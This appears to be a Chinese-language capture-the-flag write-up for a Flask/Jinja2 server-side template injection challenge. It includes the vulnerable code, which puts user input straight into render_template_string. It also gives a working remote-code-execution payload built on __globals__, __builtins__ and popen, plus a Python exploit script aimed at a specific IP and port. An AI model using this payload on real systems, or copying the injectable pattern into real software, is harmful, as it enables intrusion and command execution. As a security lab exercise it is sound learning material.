题目提示
这个「暖心问候」的背后,是 Flask 框架的模板渲染逻辑在工作 当输入的「名字」不只是普通文字时,服务器可能会「过度解读」其中的内容 目标:读取服务器内 /flag 文件的内容
核心代码片段 (app.py):
@app.route('/hello')
def hello():
name = request.args.get('name', 'Guest')
# 漏洞点:直接拼接用户输入到模板字符串中
template = f'''
...
<h1>你好, {name}!</h1>
...
'''
return render_template_string(template)
考点
- Flask/Jinja2 SSTI (Server-Side Template Injection)
- Python 沙箱逃逸 (Sandbox Escape)
- Python RCE (Remote Code Execution)
解题思路
-
探测漏洞:
- 访问
http://115.159.155.176:13338/hello?name={{7*7}}。
- 如果页面返回 "你好, 49!",则说明存在 SSTI 漏洞。
-
构造 Payload:
- 利用 Jinja2 的特性,通过
__class__, __mro__, __subclasses__ 等属性寻找可用的类(如 os._wrap_close 或 warnings.catch_warnings),进而获取 __builtins__ 或直接导入 os 模块。
- 一个通用的 Payload 如下:
python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}
- 这个 Payload 利用了
self 对象(在这个上下文中通常可用)来访问全局变量,进而获取 os 模块并执行系统命令。
-
获取 Flag:
- 将 Payload 作为
name 参数发送:
http://115.159.155.176:13338/hello?name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}
- 页面将显示
/flag 文件的内容。
解题脚本
import requests
import re
# SSH Tunnel: ssh -L 13338:127.0.0.1:13338 root@115.159.155.176
# Or run directly on server
BASE_URL = "http://115.159.155.176:13338"
def exploit():
print("[*] Testing SSTI...")
# Test Payload: 7*7
test_payload = "{{7*7}}"
url = f"{BASE_URL}/hello?name={test_payload}"
try:
r = requests.get(url)
if "49" in r.text:
print("[+] SSTI confirmed! 7*7 = 49")
else:
print("[-] SSTI test failed.")
print(r.text)
return
except Exception as e:
print(f"[-] Connection error: {e}")
return
# Exploit Payload to read /flag
# Common SSTI payload for reading files
# {{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}
cmd = "cat /flag"
payload = f"{{{{ self.__init__.__globals__.__builtins__.__import__('os').popen('{cmd}').read() }}}}"
print(f"[*] Sending payload: {payload}")
url = f"{BASE_URL}/hello?name={payload}"
r = requests.get(url)
if "FLAG{" in r.text:
flag = re.search(r"(FLAG\{.*?\})", r.text).group(1)
print(f"\n[+] Flag found: {flag}\n")
else:
print("[-] Flag not found in response.")
print("Response fragment:")
print(r.text[:500])
if __name__ == "__main__":
exploit()